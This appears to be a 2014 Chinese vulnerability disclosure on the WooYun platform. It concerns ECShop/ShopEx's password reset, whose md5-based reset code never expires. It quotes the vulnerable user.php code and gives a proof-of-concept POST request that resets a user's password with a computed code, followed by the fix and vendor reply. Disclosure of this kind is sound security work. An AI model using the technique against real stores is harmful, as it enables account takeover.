漏洞详情

披露状态:

2014-02-17: 细节已通知厂商并且等待厂商处理中
2014-02-17: 厂商已经确认,细节仅向厂商公开
2014-02-20: 细节向第三方安全合作伙伴开放
2014-02-27: 细节向核心白帽子及相关领域专家公开
2014-03-09: 细节向普通白帽子公开
2014-03-29: 细节向实习白帽子公开
2014-05-18: 细节向公众公开

简要描述:

可能随时都能重置用户密码问题

详细说明:

user.php 740行

/* 修改会员密码 */
elseif ($action == 'act_edit_password')
{
include_once(ROOT_PATH . 'includes/lib_passport.php');

$old_password = isset($_POST['old_password']) ? trim($_POST['old_password']) : null;
$new_password = isset($_POST['new_password']) ? trim($_POST['new_password']) : '';
$user_id = isset($_POST['uid']) ? intval($_POST['uid']) : $user_id;
$code = isset($_POST['code']) ? trim($_POST['code']) : '';

if (strlen($new_password) < 6)
{
show_message($_LANG['passport_js']['password_shorter']);
}

$user_info = $user->get_profile_by_id($user_id); //论坛记录

if (($user_info && (!empty($code) && md5($user_info['user_id'] . $_CFG['hash_code'] . $user_info['reg_time']) == $code)) || ($_SESSION['user_id']>0 && $_SESSION['user_id'] == $user_id && $user->check_user($_SESSION['user_name'], $old_password)))
{

if ($user->edit_user(array('username'=> (empty($code) ? $_SESSION['user_name'] : $user_info['user_name']), 'old_password'=>$old_password, 'password'=>$new_password), empty($code) ? 0 : 1))
{
$sql="UPDATE ".$ecs->table('users'). "SET `ec_salt`='0' WHERE user_id= '".$user_id."'";
$db->query($sql);
$user->logout();
show_message($_LANG['edit_password_success'], $_LANG['relogin_lnk'], 'user.php?act=login', 'info');
}
else
{
show_message($_LANG['edit_password_failure'], $_LANG['back_page_up'], '', 'info');
}
}
else
{
show_message($_LANG['edit_password_failure'], $_LANG['back_page_up'], '', 'info');
}

}



上面是修改密码的相关代码

这里需要三个参数$new_password,$user_id,$code

而$code是怎么生成的呢

看下面

user.php 696行

/* 发送密码修改确认邮件 */
elseif ($action == 'send_pwd_email')
{
include_once(ROOT_PATH . 'includes/lib_passport.php');

/* 初始化会员用户名和邮件地址 */
$user_name = !empty($_POST['user_name']) ? trim($_POST['user_name']) : '';
$email = !empty($_POST['email']) ? trim($_POST['email']) : '';

//用户名和邮件地址是否匹配
$user_info = $user->get_user_info($user_name);

if ($user_info && $user_info['email'] == $email)
{
//生成code
//$code = md5($user_info[0] . $user_info[1]);

$code = md5($user_info['user_id'] . $_CFG['hash_code'] . $user_info['reg_time']);
//发送邮件的函数
if (send_pwd_email($user_info['user_id'], $user_name, $email, $code))
{
show_message($_LANG['send_success'] . $email, $_LANG['back_home_lnk'], './', 'info');
}
else
{
//发送邮件出错
show_message($_LANG['fail_send_password'], $_LANG['back_page_up'], './', 'info');
}
}
else
{
//用户名与邮件地址不匹配
show_message($_LANG['username_no_email'], $_LANG['back_page_up'], '', 'info');
}
}





在上面可以看到

$code = md5($user_info['user_id'] . $_CFG['hash_code'] . $user_info['reg_time']);

若网站曾被拖过库这些信息早就泄露了 而 hash_code ,reg_time基本是不会变的



关键是这个code不会过期啊

若用户使用找回密码功能 而系统发送邮件 把

链接发送给用户

http://www.shop.com/user.php?act=get_password&uid=1324&code=3167b5411485e5e34daf22d034ae78bb

这个链接若被泄漏了

就相当于有把备用钥匙 随时都能重置用户密码

漏洞证明:

$code=md5($user_info['user_id'] . $_CFG['hash_code'] . $user_info['reg_time'])



'hash_code' => '316589*********',

验证

uname:zhangsan uid:1324 reg_time=1384847207



code=md5(1324316589*********1384847207)

code: 58c72b3ee37**5b798857f19b







$.post('user.php?act=act_edit_password',{'new_password':'abc123ff',uid:1324 ,code:'58c72b3ee37**5b798857f19b'},
function(data){

});

修复方案:

$code 中加入时间 要过期的

版权声明:转载请注明来源 ksc@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2014-02-17 11:48

厂商回复:

非常感谢您为shopex信息安全做的贡献
我们将尽快修复
非常感谢

最新状态:

暂无


漏洞评价: